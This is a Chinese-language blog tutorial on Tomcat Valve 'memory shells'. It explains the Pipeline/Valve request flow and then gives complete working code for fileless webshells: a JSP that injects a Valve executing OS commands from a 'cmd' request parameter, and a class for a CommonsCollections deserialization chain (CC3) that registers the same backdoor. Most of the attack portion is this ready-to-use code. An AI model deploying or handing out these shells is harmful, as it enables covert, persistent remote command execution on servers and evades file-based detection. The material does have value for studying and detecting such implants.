Tomct-Valve内存马

简单介绍下Tomcat下Valve的实现,以及Valve内存马的原理以及实现

Java内存马 - Tomcat - Valve

0x00 前言

继续tomcat内存马,这次是Valve(阀门)

0x01 Valve简介

在Tomcat中,Valve(阀门)是一种基本的组件,用于处理传入请求和传出响应。它们是Tomcat容器处理请求的一部分,可以被添加到特定的容器(如Engine、Host或Context)来提供额外的功能。

Valve可以被用于以下目的:

  1. 记录日志:Valve可以用于记录访问日志、错误日志等。
  2. 认证和授权:Valve可以用于实现用户认证和授权。
  3. 安全性:Valve可以用于实施防火墙、IP过滤等安全性功能。
  4. 性能监控:Valve可以用于监控请求处理性能,识别潜在的瓶颈。
  5. 请求修改:Valve可以修改传入请求或传出响应的内容。
  6. 负载均衡:Valve可以用于实现负载均衡策略。

Tomcat的管道机制

了解Valve也需要知道他作用在哪里,然后就又牵扯到了tomcat的管道机制
Tomcat的管道机制是指在处理HTTP请求时,将一系列的Valve按顺序链接在一起形成一个处理管道。每个Valve负责在请求处理过程中执行特定的任务,例如认证、日志记录、安全性检查等。这样,请求就会在管道中依次经过每个Valve,每个Valve都可以对请求进行处理或者传递给下一个Valve。

Tomcat中的管道机制主要包括以下几个重点:

  1. Container:在Tomcat中,容器是处理HTTP请求的主要组件。容器可以是Engine、Host或Context,它们之间具有包含关系。一个Engine可以包含多个Host,一个Host可以包含多个Context。
  2. Valve:Valve是用于处理请求和响应的组件,是Tomcat管道机制的核心。每个容器都可以包含一个或多个Valve。在处理请求时,请求会被送入容器的第一个Valve,然后根据配置的Valve顺序,请求会在管道中依次经过每个Valve。每个Valve都可以在处理请求的不同阶段插入自定义逻辑。
  3. Pipeline:Pipeline是Tomcat中的管道对象,它持有一系列Valve,并负责按顺序执行这些Valve。每个容器(Engine、Host或Context)都有一个关联的Pipeline。Pipeline的执行顺序与Valve在配置文件中的顺序一致。
  4. Valve基类和接口:Tomcat提供了org.apache.catalina.Valve接口和org.apache.catalina.ValveBase基类来方便Valve的实现。编写自定义Valve时,可以实现Valve接口或继承ValveBase类。
  5. Valve链:Valve链是Pipeline中Valve的有序集合。请求在Valve链中依次流经每个Valve,直到到达最后一个Valve。

0x02 Valve处理流程

理论知识看完,就得来看一下Valve的具体应用了,以tomcat8.5.73为例
直接断点来到org.apache.coyote.http11.Http11Processor#service
调用连接器服务,向下跟
1.png
org.apache.catalina.connector.CoyoteAdapter#service
获取Engine,并且获取StandardEngine对应的StandardPipelive,然后调用它的first-valve
2.png
org.apache.catalina.core.StandardEngineValve#invoke
这个Valve好像就只是判断了一下是否有错啥的,也没做啥,不过这不是重点,重点是:StandardEngine中的valve走完了,最后是调用StandardHost中的first-valve,到一个新的组件中了,调用first很容易理解

3.png
org.apache.catalina.valves.AbstarctAccessLogValve#invoke

4.png
org.apache.catalina.valves.ErrorReportValve#invoke
5.png
org.apache.catalina.core.StandardHostValve#invoke
到这里,开始使用StandardContext获取对应的StandardPipeline

6.png
org.apache.catalina.authenticator.AuthenticatorBase#invoke

7.png
org.apache.catalina.core.StandardContextValve#invoke

这个valve就干了一些正经事了,主要是以下几件事

  1. 禁止直接访问WEB-INF或META-INF下的资源
  2. 选择对应的Warpper
  3. 是否支持异步

8.png
org.apache.catalina.core.StandardWarpperValve#invoke
9.png
到这里就算是走到终点了,接下来就是处理调用Filter链、Servlet处理请求了
换个图显示一下,就是如下这种形式

10.png
再改一下图,就是这种的了

11.png
除了basic之外,first和next都可以是空,从StandardEngine的first-valve --- > StandardWarpper的baisc-valve,整个这个算是构造成了一条valve链,请求时,依次执行,业务逻辑执行结束后,依次返回。

0x03 添加自定义Valve

大概了解了valve是干什么的之后,就可以尝试自行实现一个valve了,从上面能够看出,在Engine、Host、Context、Warpper这四个组件中,其实都有一些固有的Valve,比如StandardWrapperValveStandardHostValve,而这些类其实又都是继承了BaseValve

12.png
然后就是照着写就完了,重点就是invoke

public class TestValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        System.out.println("自定义的valve执行...");
        // 防止程序到这中断,需要继续调用下一个valve
        getNext().invoke(request,response);
    }
}

同时这四个组件都有对应的StandardPipeline,虽然类都是那个类,但是里面的内容确实有一定区别的(主要体现在对应不同组件时,里面的valve不一样),来看一下这个类

13.png
在理解管道机制之后看这个类也是比较轻松的,有几个对于valve比较关键的方法,也都在图中进行了标注,需要格外注意的就是org.apache.catalina.core.StandardPipeline#addValve

14.png
到这里,其实还有一点,就是如何向特定的组件(Engine、Context等)添加Valve,其实在前面的处理流程成有一定的提示,比如wrapper.getPipeline().getFirst().invoke(request, response);这段代码,首先通过StandardWrapper获取对应的StandardPipelive,然后获取first-valve,再调用invoke

所以,想要向指定的组件内添加Valve就首先要获取对应组件的对象,然后getPipeline().addVlave(new TestValve())

上代码,比如向Engine组件中添加Valve

@WebServlet(name = "addEngineValve", value = "/addEngineValve")
public class AddEngineValve extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            Field fieldRequest = request.getClass().getDeclaredField("request");
            fieldRequest.setAccessible(true);
            Request req = (Request) fieldRequest.get(request);
            // 获取StandardContext
            StandardContext standardContext= (StandardContext)req.getContext();
            // 获取StandardHost
            StandardHost standardHost = (StandardHost) standardContext.getParent();
            // 获取StandardEngine
            StandardEngine standardEngine = (StandardEngine) standardHost.getParent();
            // 添加自定义的valve
            standardEngine.getPipeline().addValve(new TestValve());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request,response);
    }
}

15.png

16.png

0x04 Valve内存马实现

JSP实现

接下来就是通过jsp来实现valve的内存马了,写法几乎一模一样

<html>
<head>
    <title>JSP动态注入Valve</title>
</head>
<body>
<%!
    public class ShellValve extends ValveBase {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            response.setContentType("text/plain");
            response.setCharacterEncoding("utf-8");
            String cmd = request.getParameter("cmd");
            try {
                // 执行系统命令
                Process process = Runtime.getRuntime().exec(cmd);
                // 读取命令输出
                BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                StringBuilder output = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    output.append(line).append("\n");
                }

                // 等待命令执行完成
                int exitCode = process.waitFor();
                output.append("\n命令执行完成,退出码为 " + exitCode);
                // 输出命令输出结果到客户端
                response.getWriter().print(output.toString());
            } catch (IOException e) {
                e.printStackTrace();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            getNext().invoke(request,response);
        }
    }
%>

<%
    try {
        Field fieldRequest = request.getClass().getDeclaredField("request");
        fieldRequest.setAccessible(true);
        Request req = (Request) fieldRequest.get(request);
        StandardContext standardContext= (StandardContext)req.getContext();
        StandardWrapper standardWrapper = (StandardWrapper) req.getWrapper();
        StandardHost standardHost = (StandardHost) standardContext.getParent();
        StandardEngine standardEngine = (StandardEngine) standardHost.getParent();
        // 向那个组件中添加,就使用哪个组件获取对应的StandardPipeline
        Valve shellValve = new ShellValve();
        standardEngine.getPipeline().addValve(shellValve);
    } catch (Exception e) {
        e.printStackTrace();
    }
%>
</body>
</html>

17.png

反序列化实现

反序列化实现Valve内存马时,就不能继承ValveBase这个类了,而是需要实现Valve接口,因为java的单继承模式。
服务端就是接收base64编码后的序列化字符串,解码,然后反序列化,CC的版本为3.1,然后还是使用CC3

public class SerValve extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements Valve {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        // StandardContext
        Context context = webappClassLoaderBase.getResources().getContext();
        context.getPipeline().addValve(new SerValve());
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public Valve getNext() {
        return null;
    }

    @Override
    public void setNext(Valve valve) {

    }

    @Override
    public void backgroundProcess() {

    }

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        try {
            if (cmd != null && cmd != "") {
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                StringBuilder output = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    output.append(line).append("\n");
                }
                process.waitFor();
                response.getWriter().write(output.toString());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        request.getContext().getPipeline().getBasic().invoke(request,response);
    }

    @Override
    public boolean isAsyncSupported() {
        return false;
    }
}

18.png

0x05 总结

个人感觉绕的地方就是在于每个组件都有对应的StandardPipeline,一开始跟的时候,以为就一个StandardPipeline发现莫名其妙里面的值就变了,绕了一段时间。最后,文章写的不咋样,望见谅。

0x06 参考链接

  • 发表于 2023-09-19 09:00:00
  • 阅读 ( 5940 )
  • 分类:渗透测试

0 条评论

请先 登录 后评论
mechoy
mechoy

6 篇文章

站长统计